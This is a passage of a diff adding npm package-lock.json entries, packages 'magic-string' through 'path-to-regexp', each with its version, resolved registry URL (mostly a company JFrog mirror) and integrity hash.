"sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==" + }, + "magic-string": { + "version": "0.25.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/magic-string/-/magic-string-0.25.9.tgz", + "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", + "requires": { + "sourcemap-codec": "^1.4.8" + } + }, + "make-dir": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "requires": { + "semver": "^6.0.0" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "makeerror": { + "version": "1.0.12", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/makeerror/-/makeerror-1.0.12.tgz", + "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==", + "requires": { + "tmpl": "1.0.5" + } + }, + "mdn-data": { + "version": "2.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mdn-data/-/mdn-data-2.0.4.tgz", + "integrity": "sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA==" + }, + "media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==" + }, + "memfs": { + "version": "3.5.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/memfs/-/memfs-3.5.3.tgz", + "integrity": "sha512-UERzLsxzllchadvbPs5aolHh65ISpKpM+ccLbOJ8/vvpBKmAWf+la7dXFy7Mr0ySHbdHrFv5kGFCUHHe6GFEmw==", + "requires": { + "fs-monkey": "^1.0.4" + } + }, + "merge-descriptors": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz", + "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==" + }, + "merge-stream": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==" + }, + "merge2": { + "version": "1.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==" + }, + "methods": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==" + }, + "micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "requires": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + } + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.52.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==" + }, + "mime-types": { + "version": "2.1.35", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "requires": { + "mime-db": "1.52.0" + } + }, + "mimic-fn": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==" + }, + "min-indent": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==" + }, + "mini-css-extract-plugin": { + "version": "2.7.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mini-css-extract-plugin/-/mini-css-extract-plugin-2.7.6.tgz", + "integrity": "sha512-Qk7HcgaPkGG6eD77mLvZS1nmxlao3j+9PkrT9Uc7HAE1id3F41+DdBRYRYkbyfNRGzm8/YWtzhw7nVPmwhqTQw==", + "requires": { + "schema-utils": "^4.0.0" + }, + "dependencies": { + "ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "requires": { + "fast-deep-equal": "^3.1.3" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "schema-utils": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "requires": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + } + } + } + }, + "minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==" + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "minimist": { + "version": "1.2.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==" + }, + "mkdirp": { + "version": "0.5.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "requires": { + "minimist": "^1.2.6" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "multicast-dns": { + "version": "7.2.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/multicast-dns/-/multicast-dns-7.2.5.tgz", + "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==", + "requires": { + "dns-packet": "^5.2.2", + "thunky": "^1.0.2" + } + }, + "mz": { + "version": "2.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "requires": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "nanoid": { + "version": "3.3.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/nanoid/-/nanoid-3.3.6.tgz", + "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==" + }, + "natural-compare": { + "version": "1.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==" + }, + "natural-compare-lite": { + "version": "1.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/natural-compare-lite/-/natural-compare-lite-1.4.0.tgz", + "integrity": "sha512-Tj+HTDSJJKaZnfiuw+iaF9skdPpTo2GtEly5JHnWV/hfv2Qj/9RKsGISQtLh2ox3l5EAGw487hnBee0sIJ6v2g==" + }, + "negotiator": { + "version": "0.6.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==" + }, + "neo-async": { + "version": "2.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" + }, + "no-case": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "requires": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node-forge": { + "version": "1.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/node-forge/-/node-forge-1.3.1.tgz", + "integrity": "sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==" + }, + "node-int64": { + "version": "0.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/node-int64/-/node-int64-0.4.0.tgz", + "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==" + }, + "node-releases": { + "version": "2.0.18", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.18.tgz", + "integrity": "sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g==" + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==" + }, + "normalize-range": { + "version": "0.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==" + }, + "normalize-url": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==" + }, + "npm-run-path": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "requires": { + "path-key": "^3.0.0" + } + }, + "nth-check": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "requires": { + "boolbase": "^1.0.0" + } + }, + "nwsapi": { + "version": "2.2.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/nwsapi/-/nwsapi-2.2.5.tgz", + "integrity": "sha512-6xpotnECFy/og7tKSBVmUNft7J3jyXAka4XvG6AUhFWRz+Q/Ljus7znJAA3bxColfQLdS+XsjoodtJfCgeTEFQ==" + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==" + }, + "object-hash": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==" + }, + "object-inspect": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.2.tgz", + "integrity": "sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g==" + }, + "object-is": { + "version": "1.1.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object-is/-/object-is-1.1.5.tgz", + "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "object-keys": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==" + }, + "object.assign": { + "version": "4.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object.assign/-/object.assign-4.1.4.tgz", + "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + } + }, + "object.entries": { + "version": "1.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object.entries/-/object.entries-1.1.6.tgz", + "integrity": "sha512-leTPzo4Zvg3pmbQ3rDK69Rl8GQvIqMWubrkxONG9/ojtFE2rD9fjMKfSI5BxW3osRH1m6VdzmqK8oAY9aT4x5w==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "object.fromentries": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object.fromentries/-/object.fromentries-2.0.6.tgz", + "integrity": "sha512-VciD13dswC4j1Xt5394WR4MzmAQmlgN72phd/riNp9vtD7tp4QQWJ0R4wvclXcafgcYK8veHRed2W6XeGBvcfg==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "object.getownpropertydescriptors": { + "version": "2.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.6.tgz", + "integrity": "sha512-lq+61g26E/BgHv0ZTFgRvi7NMEPuAxLkFU7rukXjc/AlwH4Am5xXVnIXy3un1bg/JPbXHrixRkK1itUzzPiIjQ==", + "requires": { + "array.prototype.reduce": "^1.0.5", + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.21.2", + "safe-array-concat": "^1.0.0" + } + }, + "object.hasown": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object.hasown/-/object.hasown-1.1.2.tgz", + "integrity": "sha512-B5UIT3J1W+WuWIU55h0mjlwaqxiE5vYENJXIXZ4VFe05pNYrkKuK0U/6aFcb0pKywYJh7IhfoqUfKVmrJJHZHw==", + "requires": { + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "object.values": { + "version": "1.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object.values/-/object.values-1.1.6.tgz", + "integrity": "sha512-FVVTkD1vENCsAcwNs9k6jea2uHC/X0+JcjG8YA60FN5CMaJmG95wT9jek/xX9nornqGRrBkKtzuAu2wuHpKqvw==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "obuf": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==" + }, + "on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "requires": { + "ee-first": "1.1.1" + } + }, + "on-headers": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==" + }, + "once": { + "version": "1.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "requires": { + "wrappy": "1" + } + }, + "onetime": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "requires": { + "mimic-fn": "^2.1.0" + } + }, + "open": { + "version": "8.4.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/open/-/open-8.4.2.tgz", + "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==", + "requires": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + } + }, + "optionator": { + "version": "0.9.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/optionator/-/optionator-0.9.1.tgz", + "integrity": "sha512-74RlY5FCnhq4jRxVUPKDaRwrVNXMqsGsiW6AJw4XK8hmtm10wC0ypZBLw5IIp85NZMr91+qd1RvvENwg7jjRFw==", + "requires": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.3" + } + }, + "p-limit": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "requires": { + "yocto-queue": "^0.1.0" + } + }, + "p-locate": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "requires": { + "p-limit": "^3.0.2" + } + }, + "p-retry": { + "version": "4.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-retry/-/p-retry-4.6.2.tgz", + "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "requires": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==" + }, + "param-case": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "requires": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "parent-module": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "requires": { + "callsites": "^3.0.0" + } + }, + "parse-json": { + "version": "5.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "requires": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + } + }, + "parse5": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==" + }, + "parseurl": { + "version": "1.3.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==" + }, + "pascal-case": { + "version": "3.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "path-exists": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==" + }, + "path-is-absolute": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==" + }, + "path-key": { + "version": "3.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==" + }, + "path-parse": { + "version": "1.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, + "path-to-regexp": { + "version": 